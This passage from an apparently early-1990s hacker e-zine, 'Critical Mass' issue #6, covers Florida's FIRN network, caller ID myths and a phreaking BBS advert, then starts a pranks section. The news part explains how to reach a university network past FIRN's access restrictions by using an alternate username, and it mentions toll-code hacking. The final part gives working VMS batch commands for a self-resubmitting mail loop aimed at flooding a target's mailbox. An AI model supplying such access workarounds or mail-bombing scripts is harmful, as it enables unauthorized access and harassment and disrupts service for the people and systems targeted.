from Jacksonville To Miami, but are willing to reach into other
areas.

Welcome to Critical Mass issue #6! Sorry for the delay,
but much has been going on in our little world. Now on with a
little bit of news and a little bit of chit-chat.
FIRN <Florida Information Resource Network <904>488-0650> has
undergone a few changes. They are know supporting CRDC <Centeral
Florida Regional Data Center> and CRDC VTAM. It operates pretty much
like NERDC <Type: Nerluis at the "username" prompt>.
The advantages? Not much from our standpoint, except that is
provides another lame loop back to FIRN, put that's about is. Other
than that, it also will allow access to other machines such as CICS
<State accounting system> and make it easier to get to CRDC than
having to go through NERDC to get there. Other than that, that's
about is.
FIRN also claims that you have to now have authorized access
to get to services like FAUNET <Florida Atlantic Univ. DECserver>,
FSU <CDCnet> and UFnet <Univ Of Florida Netowrk>, which are no
longer listed on the service "menu". This is partly untrue though.
Though you cannot access FSU's CDCnet as you use to <But typing
"FSU" at the username prompt>, it can be accessed by typing "SCRI"
at the username prompt. We are not sure if they are aware of this,
or if they simply changed all the service names to insure security,
but this is what we have found.
It is not really even known if UFnet and FAUnet are still on
FIRN, but it is speculated that it is, since FIRN still supports
FAUVAX.
When asked about the changes in the network, they said it was
"due to security problems that we <FIRN> have had in the past".
A little bit of a myth is going around about the caller ID
blocking in our area <*67>. While is does display "<PRIVATE>" on
the ID box, it will NOT however stop the custom calling feature
"Last caller" or "Call back".
I recently overheard two people talking about call trace and
such, when one said, "Naaa, It's impossible to trace calls on WAT's
lines".
I would like to clear up this myth. ANI's <Automatic Number
Identification> work very well on WAT's lines. You don't believe
me? Try code hacking on US Sprint or MCI. The only place that call
trace does not work effectively is on old SxS and old Crossbar and
all none ESS's <Electronic Switching System>, which on WATs are few
and wide.
Last but not least, SAOO has a new support BBS <Run by myself,
a new hack type, liaison and Shadow Hacker>. It is as follows....
The Upper-Deck BBS <Part Of SAOOnet>
<904>222-1291
300/1200/2400
24hrs / 7 Days a week
We support all "educational" files on p/hacking and also have
many other utilities and such. Right now the BBS is in is building
stages and is off to a rocky start. We expect to upgrade quite a
bit within the next year. Hopefully soon, we will be running on a
386 25mhz, with around 130 meg on-line, and will support SAOOnet.
We are also planing on networking with ShadowGate <Private> using
TCP/IP. Anyrate, give it a call, because we might decide at anytime
to shut the board and stop excepting new users.
That's about all on the home front. Chow....

Here are a few little things that myself and other
S.A.O.O. members have done to piss each other off, or other
people. The information here is relatively none harmful.
There nothing big in here. Also, I will not attempt in fully
telling about all the VMS commands except for a brief
summary. if you have any questions, use the VMS Help
facility or contact me.
The Simple Mail Loop Trick.
This runs on a very simple principle, and that you use a
simple little batch loop to send mail to your "mark" <your
target/enemy>. Heres how it works, create the following
using the VMS "CREATE" command. Type at the DCL prompt......
create 1.bat
When you hit return, you will notice no other prompt
appears, but worry not, because create works just as MS-
DOS's "copy con" command. Now at this point enter......
$ mail sendme.txt <uname here> <node/address here>
$ submit 2.bat /noprint /nolog
Now hit control-z and you have created "1.bat". Now do
the exact same as above, with the following modifications...
create 2.bat
$ mail sendme.txt <uname here> <node/address here>
$ submit 1.bat /noprint /nolog
Hit control-z and, yeap, you just created "2.bat".
